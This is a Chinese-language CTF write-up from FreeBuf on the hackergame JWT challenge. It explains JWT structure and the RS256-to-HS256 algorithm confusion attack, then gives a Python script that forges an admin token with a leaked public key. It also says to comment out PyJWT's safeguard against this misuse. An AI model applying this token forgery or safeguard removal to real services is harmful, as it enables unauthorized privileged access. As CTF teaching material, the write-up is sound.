freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一题关于JWT的CTF(hackergame 普通的身份认证器)
2020-11-12 23:50:21

太菜了,啥都不会,见一个学一个。

这两天碰到一道ctf,如下:

1605187284_5fad36d4463b4e1ef02b9.png!small?1605187284747

1605187753_5fad38a99d7bacf9f5ab7.png!small?1605187754600


大概是,输入题目的自带token以获取后端响应的access_token,登录后发现需要admin来查看对应的profile文件。

1605187682_5fad386266cfac712f904.png!small?1605187682685

1605187646_5fad383ee3f3bbaa2a7b5.png!small?1605187647344

其实题目上有提示,FastAPI框架和JWT验证。

去网上查了一下,FastAPI有一个默认的文档交互界面/docs

1605188200_5fad3a68ce6496cb75c6b.png!small?1605188201963

/debug下有一个public key

然后网上去百度了一堆JWT的资料:

Json Web Token 的简称就是 JWT,通常可以称为Json 令牌。它是RFC 7519中定义的用于安全的将信息作为Json 对象进行传输的一种形式。JWT 中存储的信息是经过数字签名的,因此可以被信任和理解。可以使用 HMAC 算法或使用 RSA/ECDSA 的公用/专用密钥对 JWT 进行签名。

JWT分为三个部分

  • Header
  • Payload
  • Signature

这三部分通过‘ . ’ 连接,格式大概为 Header.Payload.Signature

Header部分:

包含两个字段,typ(令牌类型)和alg(加密算法)。

例如:

{
  "alg": "RS256",
  "typ": "JWT"
}

JWT在支持非对称加密的同时也支持对称加密,并且加密算法通过头部的alg值确定。

问题就出在这里。

引用WP大佬的解释:

在使用 RS256 时,程序的流程是:

  • 使用私钥为 JWT 签名。
  • 使用公钥验证接收到的 JWT 的完整性。

而在使用 HS256 时,程序的流程是:

  • 使用密钥为 JWT 签名。
  • 同样,使用这个密钥验证 JWT 的完整性。显然,这个密钥不能被泄露出来。

那么如果我们知道公钥,那么我们就能这么做:

  • 接收到一个合法的,使用RS256签名算法的 JWT。
  • 修改 JWT 的 payload 我们想要的样子,同时修改 header 的算法为HS256
  • 使用已知的公钥,以HS256算法重新签名我们修改后的公钥。
  • 发给服务器。此时,服务器使用公钥 +HS256算法检查 JWT,发现没有问题,就会认为这是一个合法的 JWT。

Payload部分

Payload部分一般包含一些有效声明,声明分为三种

  • registered
  • public
  • private

registered是一些预定义声明:

  • iss (issuer) :签发者
  • exp (expiration time) :过期时间
  • sub (subject) :主体
  • aud (audience) :受众
  • nbf (Not Before) :生效时间
  • iat (Issued At) :签发时间
  • jti (JWT ID) :编号

public公共声明:

一般放一些用户信息。

private自定义声明:

用于各方信息共享。

例如:

{
  "sub": "admin",
  "exp": 9902085613
}

Signature部分:

Signature主要由两个部分组成:

  • base64后的header和payload
  • secert密钥

然后再使用我们之前所选择的加密方式进行加密。

大概如下:

{ 
rs256_encode(base64_encode(header)+'.'+base64_encode(payload)+secert)
}


so整个JWT的组成可以如下图表示:

1605535994_5fb288fad4a1846847890.png!small?1605535995839

图片来源:

看完这篇 Session、Cookie、Token,和面试官扯皮就没问题了


于是乎,回到题目本身。

我们的目标就很明确了:

  • 通过之前/debug中暴露的public key,构造使用HS256的JWT。
  • 将JWT替换至我们的数据包中。
  • 后端读取到header字段中的HS256,会使用对称加密的形式通过本地的public key解密JWT,然后以sub=admin的权限读取到数据。

构造脚本如下:

import jwt

PUBLIC_KEY = "-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"

payload = {
  "sub": "admin",
  "exp": 9902085613,  #失效时间,随便写就好
}

header = {
  "typ": "JWT",
  "alg": "HS256"
}

encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header)

print(encoded)

JWT在更新后加入了一个校验机制来解决此漏洞,主要是用于检测public key是否为非对称加密公钥。

1605195778_5fad5802858a3e29c77dc.png!small?1605195778855

使用脚本时会报错,直接进源文件注释掉即可。

最终:

1605195940_5fad58a4c1b2714bec6db.png!small?1605195941028


# web安全 # CTF # JWT
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者